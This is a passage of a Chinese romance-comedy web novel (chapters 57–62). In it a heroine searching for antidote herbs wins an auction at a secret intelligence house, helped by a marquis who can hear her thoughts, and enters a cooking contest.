晏无咎寒眸冷冷扫了朔千钰一眼,喉间发出意味不明的轻笑,“好兄弟,我最近很缺钱,借点钱”。 朔千钰脑子空白了,“啊?”。 而晏无咎脑子里突然浮现出夏清棠演技差还硬要演的可爱表情,以及抢了朔千钰的仓库的可爱心声,他嘴角勾起弧度,目光深沉的望着朔千钰,“千钰兄,我们是好兄弟,你说呢?”。 晏无咎承认,他被自己恶寒到了。 第五十七章摩托变宾利 朔千钰承认,这是晏无咎这个蠢货第一次叫自己千钰兄。 他不禁蹙眉思索,晏无咎真的已经穷到这个地步了?甚至放下节操来向他借钱?镇北候府天天吃馒头就咸菜难到是真的? 还是说晏无咎吃了啥降头药了。 晏无咎忍者恶寒还往朔千钰的方向走近几步,幽幽的声音在朔千钰的耳边响起。 “我们难道不是好兄弟吗?” 朔千钰被吓了一大跳,这个晏无咎最近神的很。 “借不借” “借借借!” 晏无咎满意了。 又路过的人见两人举止亲密,还出言调侃,“哈哈哈!四皇子和镇北候的感情还是这么好啊!”。 晏无咎微笑,“四皇子一向宽仁,方才听说我缺钱,二话不说就要掏钱给我”。 “是吗?四皇子果真是宽仁啊” 路过的大臣纷纷夸赞朔千钰。 朔千钰真的是要被气得鼻子冒烟,什么掏钱给你,明明是借!是借啊! 晏无咎对着朔千钰微笑,“千钰兄,你可真是我的好兄弟”。 跟在这俩人不远处听了一路的朔砚辞,只觉得这俩人不对劲,尤其是这个晏无咎,说话这调调和那迷之微笑,阴,太阴了。 晏无咎这是得了什么高人指点,还会这一招了。 朔千钰眼皮疯狂跳动,晏无咎这个样子竟叫他心中生出几分害怕的情绪。 晏无咎继续保持微笑,“千钰兄,正好现在没事,我们不如一道去你府上拿钱”。 “正好,我们这一对好兄弟也好久没有单独相处过了” 朔千钰起了一身鸡皮疙瘩。 晏无咎这个蠢货到底在搞什么鬼,哼,朔千钰脑中突然想出一个回击的法子。 朔千钰:“也是,刚好我皇妹嚷嚷着好久没见你了,想你想的很,我也把我皇妹叫上” 晏无咎:“好啊,正好问问灵汐公主能不能给在下些银两” 朔千钰:…… 神经病! 直到和晏无咎坐在一辆马车里,还是去他府上的马车,朔千钰是真的懵了。 …… 安瑾将那四种渊国特色药材的外形画下来给夏清棠,特点也都一律讲给夏清棠。 接下来,安瑾的主要事业,就是给这个夏清棠搓药丸。 夏清棠知道晏无咎这进宫一时半会肯定是回不来,已经先一步走在了京城繁华的大街上。 据安瑾说,这无影阁,普通人根本听都没听说过,而对于那些有钱有权的人,无影阁会专门做宣传,无影阁主业就是卖情报的,也会根据这些情报的内容去选择顾客。 久而久之,无影阁也在京城的上流社会宣传开来,有了名字,只是,至今为止,也无人知道,这无影阁的东家到底是谁。 晏无咎这个镇北候,毫无疑问,就被宣传过。 夏清棠此刻漫无目的的走在京城大街上,想起安瑾给她支的第一个法子,心底突然很空虚,来这条最繁华的街道上大肆消费,然后被无影阁的探子盯上,再被定义为消费群体,吸引无影阁主动宣传, 呵呵哒,她空虚啊,她知道命重要啊,可是,她舍不得小钱钱啊。 夏清棠买了一串糖葫芦,边吃边走,耳尖的听到什么满香楼,什么厨王争霸赛,什么黄金万两。 夏清棠抬头,看到前方不远处,又是满香楼楼前,挤了不少人,这个热闹,她必须得去凑凑。 夏清棠挤到人群里,终于勉强看清纸上内容。 厨王争霸赛,拿下厨王称号者,可得八千两白银。另外还有第二名厨杰,可得四千两白银,第三名厨秀,可得一千两白银。 比试要求:菜式美观,味道出众美味,做菜者还要会才艺。 我勒个乖乖,做个菜还得上才艺表演呐,这是不是还得上皇帝面前表演呢啊。 夏清棠内心顾不上纠结,什么脸面,什么牛马,都不如真金白银来得实在。 搏一搏,单车变摩托,再搏一搏,摩托变宾利。 满香楼出来一小二,“各位,咱们这边报名~”。 场面一度混乱,群众太兴奋了。 夏清棠硬生生被挤到了最前面,成功报了名。 呼—— 想她夏清棠,不仅是一位优秀的散打运动员,还是一位优秀的会做饭的人,哈哈哈。 总共分为初赛,复赛,决赛。 一边打比赛一边找药材,不错不错,毕竟这药材实在是稀罕物,她也不可能拿着纸上街上逮着人一个个问。 夏清棠兜里还揣着安瑾给她的四张画纸,她要去画坊,先画它个几百来张,再让晏无咎给自己的那几个暗卫帮着贴,效率绝对妥妥的。 …… 在外面转了有变天的夏清棠回到侯府,第一眼看到的就是摆在正厅地上的,熟悉的大箱子,当初皇帝给她的那两箱黄金也长这样,不过毕竟是金子,箱子比这箱子小了些。 夏清棠微笑着看向晏无咎,“侯爷,这是什么呀?”。 晏无咎:“赏赐,这两箱你的” 夏清棠眼眸一亮,迫不及待地打开箱子,结果大失所望,是布料和一些头饰首饰之类的,两箱都是。 ……皇上赏赐的东西能不能拿去变现。 晏无咎知道夏清棠在想啥,无非就是怕找药材钱不够,他打了个响指。 下一秒,几个侍卫又搬着几个箱子进来。 夏清棠好奇张望,只见,晏无咎慢悠悠走上前,修长的手指又故意的慢悠悠的掀开箱盖。 哇——! 银子! 好多银子,简直要闪瞎她的狗眼。 在夏清棠的星星眼中,晏无咎的脊背都挺的更直了,他声音带着些骄傲,“听说咱们侯府连馒头和咸菜都吃不上,本侯啊,特意去我的好兄弟那搬了点银两”。 “如何啊,夏清棠” 第五十八章抢过来 “如何啊,夏清棠” 晏无咎梗着个脖子就等夏清棠发出崇拜的尖叫声。 “哇塞塞,侯爷,你这么牛×啊” 晏无咎满意的点点头,哼,这女人总算是说对一次话了。 夏清棠目光紧紧扒在银子上,细细浏览。 【晏无咎开窍了?好兄弟?萧策,安瑾还是朔千钰?】 夏清棠嘿嘿一笑,“侯爷,我还是想问一句,这钱是你哪个好兄弟的”。 晏无咎淡定回应,“四皇子啊”。 这话一说出口,毫无意外又看到夏清棠瞳孔震地的目光。 【我嘞个乖乖,晏无咎去朔千钰那搞钱?怎么听起来这么玄乎泥?】 夏清棠又怀疑的开口,“那你……有没有给他什么东西?”。 晏无咎依旧平淡回应:“无” 【我嘞个乖乖,不是晏无咎中邪了,就是朔千钰中邪了】 【朔千钰那个老阴货能给晏无咎这么多?】 老阴货?晏无咎嘴角抽了抽,这个夏清棠还真是…真是会形容。 夏清棠心思一转。 【怎样能让抠搜侯爷为我花小钱钱呢?】 晏无咎挑眉,他确实是挺想听听这女人嘴里又能蹦出什么话,看看怎样才能说动他这个抠搜侯爷。 只见方才还满脸兴奋的夏清棠现在满脸愁容。 “唉!” “唉!” 晏无咎嘴角勾笑,“夏姑娘这是怎么了,不妨说出来让我也听听”。 夏清棠背过身子,伸手抹了抹眼角,声音里是浓浓的害怕和忧愁。 “侯爷,我也不知道我是得罪了什么人,居然给我下这么狠的毒,唉,渊国的药材,光是找,想必就得耗上不少的银两” “侯爷,你说,若是我没找到药材这可咋整啊” 夏清棠的声音已经带上哭腔,眼泪也是大把大把的往外流,“侯爷,我要是没解了这毒,死了的话,你可怎么办呐!呜呜呜呜……”。 “你这么善良,偏偏还有那么多人要害你,要是没了我折寿给你看天象算命,你可怎么办啊” 晏无咎笑不出来了。 这个女人居然把鼻涕和眼泪抹在他身上,真是、真是好一个大胆的女人。 “喂!夏清棠,擦擦你的鼻涕和眼泪,都快流嘴里了” 晏无咎扯出一块帕子,胡乱的抹在夏清棠的脸上。 夏清棠哭声顿住,擤了擤鼻涕,随即又是泪眼汪汪的看着晏无咎。 “侯爷~” “侯爷,没了我,你可怎么办啊” “要我一个人去死,只留你在这世上,我不放心啊!” 晏无咎真的是又见识到这女人说瞎话的能力了,他还得好好学学。 “呜呜呜!侯爷啊!没了我你可怎么办啊!!!” 耳朵要聋了。 眼见这女人还能发挥,晏无咎连忙出声,“你再嚎下去,你还没死,你最爱的侯爷我就先聋了”。 夏清棠停住了,只泪眼婆娑的盯着晏无咎。 【晏无咎能不能给力点,我嗓子都快嚎哑了,亲爱的晏无咎,我最爱的晏无咎,快快张嘴】 最爱的晏无咎……晏无咎细细品味这几个字,脸上又浮现出迷之微笑。 瘆到夏清棠了,夏清棠咽了咽唾沫,正要再开口,却被晏无咎冷不丁冒出的声音打断。 晏无咎:“念在你是真心为本侯好的份上,本侯就勉强帮帮你吧” 夏清棠竖着耳朵听,【勉强帮帮我,我看看能有多勉强】。 在夏清棠期待的目光中,晏无咎冷冰冰的双唇动了,“给你一箱”。 夏清棠:“给我一箱这个?” 晏无咎:“嗯” 夏清棠脸上露出感动的神情,“侯爷,我就知道,我就知道你不是个没良心的”。 晏无咎:“……” 有时候真的很想把夏清棠这张嘴给堵上。 夏清棠感动的捂住脸颊,余光偷偷看晏无咎在干嘛。 晏无咎:“林木” 林木闪现,“侯爷请吩咐”。 晏无咎:“这些银子交给萧策,他知道” 夏清棠知道了,这些肯定又是晏无咎拿去补贴军队了。 林木走后,夏清棠又眼巴巴凑到晏无咎身边,“侯爷,小的还有一事相求”。 晏无咎:“说” 夏清棠也不想再说些有的没的,“你能不能带我去无影阁”。 晏无咎突然想嘴贱一下,“你求求我,我就带你去”。 “……” 夏清棠轻蔑一笑,中气十足的喊了一声,“求求你!”。 【俗套】 【晏无咎竟然这么俗】 晏无咎歪嘴一笑,“那本侯爷就勉强带你去吧,你身上可得装够银两啊”。 “毕竟……本侯爷是抠搜穷鬼老男人” “……” 夏清棠挠挠头。 【怎么感觉有点奇怪……】 晏无咎迈开大长腿率先走在前面,低沉暗哑的性感嗓音想起,“别傻了,跟上”。 …… 陌水巷。 一阵凉风吹过,几片枯叶落下,这条巷子空空荡荡。 夏清棠偏头,“就这啊”。 晏无咎:“嗯” 夏清棠:“哦” 晏无咎低头看夏清棠,久久没有言语。 夏清棠:“请侯爷带路” 晏无咎嗯了一声,走在前面带路。 夏清棠小声嘟囔了一句,“幼稚鬼”。 晏无咎听到了,心情很不错。 夏清棠又跟着晏无咎走了一路,直到晏无咎停在一处破落院子前,刚一停下,就像是有心灵感应一般,院子的门开了。 是看起来很普通的一男一女,看起来,更像是一对平常人家的夫妻。 这二人脸上带着恰到好处的笑容,看着很是亲切,见到晏无咎和夏清棠两人,也并无任何出格的表情,只微微颔首,“二位,里边儿请”。 走进院子,看着也就是平常老百姓家的院子,可这一进了屋子里,可就大有不同了。 晏无咎和夏清棠一路跟着这两人在设计奇特的屋子里转悠,然后,是一段楼梯路。 夏清棠暗自嘀咕,可真隐秘,那些权贵来这交易也是偷偷摸摸的来,这样看,倒更像是什么黑市。 “二位,请进” “糕点、茶水,一律准备齐全,望二位能拍下自己所中意之物” 例行完公事后,引路的两人便退下,徒留夏清棠和晏无咎。 这里是包间,就和夏清棠在现代看时书中描述的场景大差不差,来拍卖的人待在自己的包间内,下面正中央就是拍卖台。 嗯,看的很清楚,还好她不是近视眼。 晏无咎吊儿郎当的坐下,看着到不像是个当官的侯爷,更像是个拽哥。 晏无咎目光扫过夏清棠写满情绪的脸蛋,懒懒开口,“一会你可瞧好了,别一个眼花,就跑别人手里了”。 说完,他像是自问自答一样,笑了一声又说,“不过,能者得之,抢过来也不是不行”。 夏清棠没听清,“你说啥?” 晏无咎眸光闪烁,嘴角勾着轻笑,“我说,你睁大眼睛盯好了”。 第五十九章恨你是块木头 夏清棠哦了两声,又拿出安瑾交给她的画纸,细细观看。 这可得记好了。 没过一会,楼下传来声音,拍卖开始了。 夏清棠越看越绝得这无影阁的东家牛逼,她本以为这里拍卖也就是拍卖点珍贵物品,结果,竟然还拍卖各种各样的情报,包括但不限于,某家的八卦秘辛、某官贪赃枉法,谁谁谁的暗中厮杀。 天呐,夏清棠感叹,这钩子放的,无影阁可以去搞副业了,去写话本子卖书吧,绝对大挣。 不过说来,这无影阁真的没有人下追杀令吗,光这些情报消息,就得宰了多少人的小金库。 夏清棠甩掉脑中想法,聚精会神的盯着下面的拍卖台。 龙脑香,西腓草,赤砂藤,星罗子,她在心中反复回忆。 …… 夏清棠光听那些见不得人的八卦秘事,都听得快睡着了,一根草都没见到。 倒是这个晏无咎,拍了不少东西,除了什么八卦情报外,这晏无咎居然还拍下了几个女儿家带的首饰。 这男人真是,有钱了就乱花,一点也不知道钱难挣,屎难吃。 不过……要是拿着那些情报去勒索钱财的可能性有几成,夏清棠一不小心又开始想入非非。 就在她将要昏昏欲睡,头脑点地的时候,“好歹来跟草啊——”。 “接下来我们的拍品,各位一定没见过” “龙脑香!” 夏清棠唰的闪了一下,完全清醒了, 毫无疑问,在场大多数人都没见过,甚至可以说是没有听过。 不知道哪个包间传出声音,“是渊国的龙脑香吗?”。 “正是” 接下来,就是负责拍卖的人员讲解这龙脑香的好处。 夏清棠扒在纱帘处眯着眼使劲看,天!真、的、有、啊! “我嘞个乖乖” 要是能解了毒,她就真的能毫无负担的远走高飞了。 她在心底催促赶紧开始拍卖。 拍卖台上的人讲完这龙脑香的好处后,“起拍价,一百两银子”。 夏清棠暗暗咂舌,起拍价就这么高,“一百零一两!” ……很静,静到夏清棠屏气凝神,甚至已经开始暗暗窃喜,自己可以一举拿下这味神奇的渊国特色药材了。 但,天不遂人愿。 不远处包间内传出一道清朗的男声,“一百零二两”。 夏清棠:“一百零三两!” 清朗男声:“一百零四两” 夏清棠:—=— 呦呵,来劲是吧。 夏清棠撸起袖子,“一百二十两!”。 清朗男声:“一百二十一两” 夏清棠噤声,看来自己是遇到狠角色了,激将法这一招绝对不管用, 夏清棠:“一百二十二两” 耗时间吧,看看谁能耗过谁。 “一百二十三两” “一百二十四两” “……” “一百二十八两” 终于,有人看不下去了,发出了不满的质疑声。 “哎!我说你俩是不是认识啊,要较劲去外面较劲,这不是你们较近的地方” “都等着看后面的东西呢,你俩搁这儿扳手腕呢?还互相谦虚呢” 突然,拍卖台上又走上一个女子,只见她抬手微笑,举手投足间尽显大家风范。 “各位客官不要急,稍后我们无影阁会给各位上才艺表演” “看来两位客官都很中意这龙脑香啊,不急,我们无影阁也不是只认死理的人,我们啊,还认一个有缘人” 有缘人?夏清棠听到这都呆了,总不能是什么鬼神传说吧,正头疼的时候,余光就瞥到悠哉游哉喝着茶吃着糕点的某人。 晏无咎:“看我干嘛,想吃就过来吃” “正好,这些吃的不要钱,就适合我们这种穷鬼吃” 夏清棠假笑两声,吃吃吃,小心一会儿窜稀。 晏无咎嘴角噙着笑,心情轻快,一会儿,这个女人会不会崇拜自己,用那双亮晶晶的大眼睛看着自己。 “咳!”,晏无咎摸了摸耳朵,心底生出一种介于爽快和羞耻的诡异情绪,他觉得,自己真的是越来越不正常了。 夏清棠紧紧盯着楼下的女人,只见这女人又带了两个小厮,渐渐消失在视野中。 咚咚咚—— 是敲门声。 晏无咎:“进” 是方才在楼下的那个女人,她走进来微微躬身行礼,身后跟着小厮,手中拿着赫然就是前面晏无咎拍下的一系列拍品。 女人抬眸看向两人,神情虽极力掩饰,但还是泄露出一丝意外,她很快稳住,开口说话,声音温婉有力。 “验资厚者,即为有缘人” “二位客官,便是我们本次拍品的有缘人” “这龙脑香,便以这位姑娘最后喊下的价格完成交易” “二位可满意?” 夏清棠忙不迭点头,“满意满意”。 女人微微颔首,带人退下。 夏清棠满心喜悦,第一步就如此成功,实在是快哉快哉啊! 沉浸在喜悦中的夏清棠完全没注意到晏无咎意味深长的眼神。 这个女人就不好奇方才那人说的话是什么意思吗?还在那傻笑,能不能快点张嘴问问。 “咳咳咳!” 夏清棠回神,“侯爷,你喝茶呛到了?这茶这么好喝,我也来点”。 晏无咎咬牙:我恨你是块木头 “这无影阁是有点意思,验资厚者,即为有缘人” 夏清棠放下茶杯,“对哦,为啥我会是验资厚者,难道无影阁这么牛逼,连我有多少身家都查得一清二楚”。 “我去,简直是恐怖如斯!” 夏清棠震撼的目光对上晏无咎无语的目光。 两两相对,夏清棠好像意识到点不对劲儿……这茶确实怪好喝的。 第六十章真挚的眼神 这茶确实怪好喝的,能不能拿点回去。 晏无咎顺着夏清棠的目光过去,看到了…放在桌上的茶壶? 他扶额无语,觉得夏清棠这个蠢女人有时候真是蠢得不可救药。 楼下穿来今日拍卖结束的声音。 夏清棠虽内心有一点小小的失落,但很快就调整好情绪。 迈出的第一步就成功了,难不成她还能怕后面的? 笑话! 夏清棠雄赳赳气昂昂的抱起桌上装着龙脑香的盒子,今日消费一百二十八两。 想到接下来的事,她转身,脸上挂上温柔的笑容,声音也是柔的似水,“侯爷~”。 晏无咎现在冷漠的可怕,“有屁快放”。 夏清棠以陨雷不及掩耳之势抓起晏无咎的双手,一双漂亮的眼睛亮晶晶的盯着冷酷的晏无咎。 “侯爷~今日真是谢谢你带我来这里……” 话未说完。 咚咚咚—— 又是敲门声,门开了,是方才那个温婉女人。 只见她一偏头示意,身后小厮立刻拿着两张纸走向晏无咎和夏清棠。 “二位客官,这是我们无影阁的具体负责业务” 夏清棠眼眸登时一亮,“这位姐姐,可以带我去搞消息那吗?”。 这位女子名叫木花,木花闻言,微微一笑,“姑娘,这边请”。 “好啊好啊” 夏清棠瞬间甩开晏无咎的手,跟着木花就是走。 晏无咎看着空落落的双手,咬紧后槽牙,“蠢女人,也不怕被人卖了”。 他迈着大长腿的跟在夏清棠身后,眸光却又不自觉落在她的后脑勺上,这女人后脑勺好圆,像毛球。 兴致勃勃走在前面的夏清棠摸摸后脑勺,咋感觉后脑勺凉飕飕的。 不会是晏无咎看她不顺眼,要刀了她吧。 在木花的指引下,两人来到一间略显昏暗的房间,里面只有一张桌子和几把椅子。 以及两个人,一身黑,蒙着脸,眼神很平静,甚至可以说是死气,夏清棠觉得这俩人的气质看着很像那什么传说中的死士。 木花微笑,“两位请坐”。 两个黑衣人闻声上前。 夏清棠开始了她的口述,完事后,又交了足足有两百两的定金。 …… 走出这处不起眼的院子后,夏清棠仍旧没有从半天消费三百多两银子的冲击中缓过神来。 喵的,刚起步就花这么多啊,天呐,那可是三百两啊! 头好疼头好疼,她要尖叫嘶吼,然后打滚晕倒。 她自言自语的问了一句,“要是啥消息也找不到,定金会不会退”。 晏无咎好笑的看着满脸生无可恋的夏清棠,笑着说出能立马让夏清棠嘎巴倒地的话,“不会退”。 夏清棠:“……” 回到侯府的夏清棠小心翼翼地抱着自己的龙脑香,去找安瑾。 安瑾反复确认,“呦呵,不错嘛,出师就捷”。 “还真让你拍下了,不过……没人和你竞争吗?” 夏清棠实诚回答:“有” 安瑾疑惑,“那咋就让你拿到了,你花了多少钱”。 夏清棠比了个数,这叫安瑾更加疑惑,有人一直在叫价,夏清棠还能这个数就拿下这龙脑香。 安瑾没再继续问,不管怎样,结果是好的,他“哇,那你真是走了狗屎运了” “这个龙脑香可是精品,不错不错,你先自己拿好吧,四样都凑齐了,再交给我” 夏清棠点头。 安瑾又拿出几个瓶瓶罐罐,推到夏清棠面前,他打了个哈欠,手指特意指着自己眼下的黑眼圈。 “你的药,哎呦!熬了几个通宵,可算是把这药丸给你搓出来了” 夏清棠了然,拿出自己上次在街上淘来的小玩意,放在安瑾面前。 安瑾双眸瞬间迸发出亮光,双手小心翼翼的捧起桌上这两个小玩意,“你从哪搞的?”。 “古玩店买的” 其实这是自己从不知名的街道的古玩小摊子上淘来的。 夏清棠双眸真挚地看着安瑾,“安大夫,早在见你的第一面起,我就注意到你身上的古朴气息,后来,看到你除了药籍,时常还看古籍,我便斗胆猜测你会喜欢”。 “上次出去,除了找药材,也是想送你一份礼物,希望你会喜欢” 安瑾耳根逐渐发热,手里的古玩也变得烫手,“是……是专门去给我买的?”。 夏清棠点头,“谢谢安大夫这么用心的给我搓药丸,我日后一定会好好报答安大夫的”。 安瑾稳住面部表情,非常有大师风范的样子,“嗯,你很不错,日后你可记得一定要好好报答我”。 夏清棠重重点头。 在门口站了老久的林木看了看自家脸色不是很好的侯爷,试探性地开口,“侯爷,我们还要进去吗?夏姑娘和安大夫聊的好像很开心”。 晏无咎:“用你说,本侯看不到吗?” 林木委屈:“……” 看来侯爷是真的很在乎夏姑娘,就连看到夏姑娘和安大夫说话,都能发火,唉,看来得他出场了。 夏清棠拿着木箱和几个瓷罐往出走,赫然看到像两根木棍的晏无咎和林木。 夏清棠微笑打招呼,“侯爷,林侍卫”。 晏无咎没回应,就跟个棍一样杵在那儿。 林木看到夏清棠胳膊肘下夹着的木盒,眼神一亮,开口,“夏姑娘,想必这就是你今日买回来的东西了”。 夏清棠:“嗯” 林木一脸讶异和艳羡,“侯爷对夏姑娘可真好啊”。 夏清棠疑惑,“什么意思”。 晏无咎出声制止,“林木!”。 林木见自家侯爷这个反应,心底更加有底气,“夏姑娘,你不知道吗,这无影阁拍卖物品,若是同时有几人拍卖同一物品,迟迟没有结果”。 “无影阁会根据谁累计消费最多,来做决定” 林木睁着清澈的小眼睛看着夏清棠,又带上些懊恼,“我是不是说错话了,也有可能是不是因为……”。 晏无咎喉结滚动,脚底板有点痒,想离开,但是又很想知道这个女人会是什么反应。 林木剩下未说完的话不言而喻,夏清棠脑子划过一道白光,原来验资厚者,指的是晏无咎在那消费比对面那人多啊。 嘛呀。 嘛呀嘛呀嘛呀,天呐。 合着林木的意思是晏无咎在无影阁那买那么多东西都是为了给她兜底? 夏清棠悄咪咪去看只口头假装制止了林木一下的晏无咎,她看到晏无咎面部没有任何表情,但是垂落的右手却在抿手指。 她知道了,她悟了,她明白了。 第六十一章阴魂不散 狗男人一个。 夏清棠斟酌几秒,眼珠冒出泪光,声音带着几分颤抖。 “侯爷,我真的……我真的没想到,原来是你在我身后默默付出” 夏清棠吸了吸鼻子,颤抖的声音里又添了几分坚定,“我真的是太感动了,我以后一定会好好报答你的!”。 林木心安了,夏姑娘真给力。 两人都在瞪着眼等晏无咎放个屁。 而晏无咎呢,明明很想把嘴角咧到耳根后,偏偏使劲儿压着,良久,他才发出一声轻哼,语气欠揍又臭屁,“哦,夏姑娘画这饼,我闻着挺香,先收着”。 没等两人再说话,晏无咎转身离开,嘴角终于不被束缚,成功咧到了耳根后。 夏清棠与林木面面相觑。 林木嘿嘿一笑,朝夏清棠竖了个大拇指,然后走了。 夏清棠嘀咕:“莫名其妙的主仆俩” 晏无咎这种种行为,她觉得十有八九就是她想的那样。 发现她真的有点用,想留下她,还是企图用感情攻势。 还说什么拍下那些东西都是为了她,她就不相信晏无咎拍那些东西对自己没用,情报信息可以帮助他搞敌人,用的好还能搞钱,至于那些女子首饰不仅能卖钱,还能送人啊。 这个晏无咎!这个林木!居然压力她! 她超级感动?不知道帮了晏无咎这么多次,他有没有感动啊。 “哼” 夏清棠冷哼一声,完美的将晏无咎种种异常的行为疏通,安心的抱着木盒和瓷罐往自己房间方向走。 等她毒解了,她一定第一时间离开这个镇北候府,离开晏无咎。 …… “有人在找这几种药材?” “是” “你先退下吧,继续盯着那边” “是” “去他的,管她是什么人呢,不如先抓回来” 辜战有些亢奋,居然还有人在找他们渊国的药材,就算没关系,他也好奇。 江汐汐眼眸含冰,“龙脑香,西腓草,赤砂藤,星罗子,这四种药材,那就只能是与摧心散这毒有关了”。 辜战一拍桌子,“对哦!汐姐你可真聪明”。 江汐汐:“能有摧心散这毒的人,不是一般人” 辜战:“对对对,那万一是被下了摧心散的人呢?” 江汐汐:“没有有这毒的人独特,只能说明他得罪人了” 辜战点头,“汐姐,无影阁那帮人还是老样子,一点信息都没有”。 “不是,他们不是号称是最大的情报网吗,咋啥都不知道啊,我看啊,就是知道了,也不会告诉我们” 江汐汐:“嗯” “所以,我们见到小殿下的消息一定不能泄露出去,一定不能让他们知道” 辜战眼睛越瞪越大,“去他的!无影阁那帮子人还真的有阴谋啊”。 江汐汐:“不好说,但,小心点准没错” 辜战:“哦哦” “汐姐,我们还没搞晏无咎呢,上次听说晏无咎那货断了条胳膊,我觉得,还得让他断条腿!” “晏无咎要是不行了,桀桀桀,这朔耀王朝……那可真是要失去一枚大将了” 江汐汐垂眸思索,“是得搞他,但我们不急,毕竟想搞他的人多了去了,我们的当务之急是混进镇北候侯府找到小殿下”。 “一定要让她小心那狗皇帝,那狗皇帝就跟个疯狗一样,若是真叫他看到那张脸……” “他可不管到底是不是” 辜战:“去他的狗皇帝,真就跟条疯狗一样,看的死严,真想一层一层剥下他的皮,再来个示威游行” “哈哈哈!想想就爽得很” 江汐汐:“行了,别在那意淫了” 辜战:“哦” 江汐汐:“今晚就行动” 辜战严阵以待。 …… 深夜,辗转反侧。 晏无咎数了一千多只羊了。 已经连续好几日了,好几日那个女人都没来吃自己豆腐,甚至连听到她心声的次数都变少了,她是不是……是不是觉得自己没用了。 若是之后解了毒,会不会毫不留情的远走高飞。 可若是毒解不了…… 晏无咎心口闷的慌,毒解不了怎么办,能怎么办,那就只能死了。 晏无咎突然感觉自己此刻的想法可笑的难以置信,他才认识那女人多久,两人之间什么关系都没有,她是死是活也与他无关。 要不是那女人确实有用,他才不会这么关心。 “一千五百二十只羊” “一千五百二十一只羊” “……” 咚咚咚—— 听到敲门声,晏无咎顿时感觉心中烦闷消了大半,他坐起身,整理好衣服。 不知是想到了什么,他又看似随意的把衣赏弄乱,衣襟口大开,露出八块腹肌,随即,他又抓了抓头发,这才去开门。 门开了。 林木:“侯爷!” 晏无咎:“……” “是你啊” 林木直接一语道破,“?侯爷你是在想夏姑娘吗?”。 晏无咎耳根带上被人戳破心事儿的恼羞红意,他状似不屑的轻啧一声,“没事别瞎猜,有啥事?”。 林木:“侯爷,虽然已经是是深夜,但经过上次夏姑娘被绑走的教训,我必须来向您禀告” 晏无咎正了正神色,“讲”。 林木神色凝重,“今夜,守卫发现有人试图潜入侯府,还好,已经被我们的守卫和暗卫打跑了”。 “那人还一边狂跑一边狂骂,想必是被我们打的落花流水,屁滚尿流!” 晏无咎双目阴沉,深夜稍显混沌的脑子现在已经完全清醒,“林木,做的非常好”。 “她怎么样了” 林木了然:“夏姑娘睡得非常香,属下方才经过夏姑娘屋子的时候,隐隐还听到侯爷的名字” “想来肯定是夏姑娘在做梦,梦中都是侯爷您” 梦中都是他啊,这么喜欢他呢?林木两句话,哄好了彻夜难眠的晏无咎。 心情不错的晏无咎再次躺会床上,发现满脑子都是林木的话。 阴魂不散。 第六十二章疯癫公主送爱心 大清早。 刚起床正在感受清晨新鲜空气的安瑾,一偏头,瞳孔瞬间睁得老大。 “嚯!老晏,你眼下这黑眼圈真是吓人” 安瑾贼笑着凑近晏无咎,“说,你这是不是干啥坏事了?”。 晏无咎:“失眠” 安瑾恍然大悟,“噢——原来老晏你是做春梦了!” 晏无咎一脚踹过去,随之说出口的是带着怒气的语气。 “滚!” 安瑾嘿嘿一笑,“得嘞,我要去找夏姑娘聊天喽——”。 晏无咎抿唇,“站住”。 安瑾疑惑,“老晏,还有啥事?”。 晏无咎:“给我弄点助眠的药” 安瑾瞪大双眼,语气不认可,“我嘞个老天奶啊,老晏,本来你现在喝的治头疼的药就有助眠功效,现在你还要我给你搞助眠的啊?”。 “不是,你不怕睡成死猪啊” 晏无咎眼神凉飕飕,“不怕”。 安瑾嘟囔,“睡成死猪,不仅你的命没了,我的、夏姑娘的、林木的、王嬷嬷的都得没”。 安瑾目光怔住,就在安瑾转身要离开的时候,他张嘴了,“算了”。 安瑾疑惑扭头,“咋?侯爷您这又是惜命了?”。 晏无咎:“少废话” “噢” 安瑾回味方才自己说的话,觉得自己好像是发现了什么,他捏着鼻子,掐着嗓子。 “侯爷~我以后一定会好好报答你的~” 晏无咎又是两脚踹过去,“滚!”。 安瑾如愿看到晏无咎泛起可疑红晕的耳根,仰天长笑几声,离开了。 看来老晏这是晚上想夏姑娘想的睡不着觉,啧啧啧,有意思,实在是有意思,老晏居然中意一个来路不明的女人。 …… 夏清棠今日又出去转悠了,这药材太难找了,经过一夜的失眠,她想好了,药材当然使得找,但是!她不能忘了潇洒。 活一天少一天嘛。 走在街上,夏清棠看到自己花钱雇街头小孩贴的寻药启示,现在街头上有了不少。 她在上面写着,若是有,可以来陌水巷口找他,除了大晚上和大早上,至于这个在陌水巷守着的男人。 嘿嘿嘿,自然是晏无咎承诺给她的那几个暗卫之二喽。 “买馄饨喽!” “香香甜甜的馒头哎!走过路过不要错过” 街上叫卖声不绝于耳,夏清棠却毫不留恋。 她今日的目标是:吃遍京城的饭店! 夏清棠先是走进一家不起眼的小饭馆,刚一坐下,就听到惊喜意外的声音。 “夏姑娘!” 王淑芬显然没想到居然能在这看到夏清棠。 夏清棠打招呼,“王大娘啊,好久不见啊”。 王淑芬很热情,“夏姑娘要吃啥,我请客”。 夏清棠惊喜:“王大娘原来你是掌柜啊,好厉害” 王淑芬乐呵一笑,随即招呼小二上菜。 “好香,王大娘,你家菜炒的真香” “民间好厨子这么多,王大娘,你这儿的厨师有没有去报名厨王争霸赛的” 王大娘摇摇头,“咱不去凑那个热闹”。 夏清棠嘿嘿一笑,看着还有一丝傻气,“我参加了”。 王大娘立刻反应过来,豪爽的说,“夏姑娘你放心,到时候我一定会去捧你场子的,不,我带上人去捧你的场子!”。 夏清棠毫不客气地应下,“谢谢王大娘!”。 顺便又打听了一下这京城老百姓大部分人的口味,夏清棠才走出饭馆,这厨王争霸赛,初赛就是做菜让老百姓尝的,之后两场,就要有重量级评委。 她猜是某些世家啊,大臣之类的,他们就喜欢吃那些听着高端大气上档次的菜。 “什么鬼?” 夏清棠怀疑是自己没睡醒眼花了,不然为什么会在街上看到朔灵汐那个疯癫公主。 “民食摊?” “我嘞个乖乖,这个公主是决定要自力更生了?都摆开摊子了,笑得还那么和善” 夏清棠躲在墙角处,咋想咋觉得这很幻灭,有一种看熟人装叉的感觉。 她还是悄咪咪的走吧,要是让这公主逮到她,那可真是又得浪费时间。 这边站在民食摊前的朔灵汐已是浑身不耐,她手里的包子捏烂了,满手的油渍和肉馅。 “恶心死了,皇兄为什么非要我来搞这种鬼东西,还非得让我参加那种低贱的争霸赛” 身旁的侍女连忙拿着帕子擦净朔灵汐的手,耐心劝导,“公主,主子那样做,肯定都是为您好啊,你看,皇上说的三个月的禁闭,您不是一个月就出来了”。 “都是多亏了公主您的皇兄啊” 朔灵汐满脸不爽,“为我好,就是让我来给这群低贱的人递东西吃?”。 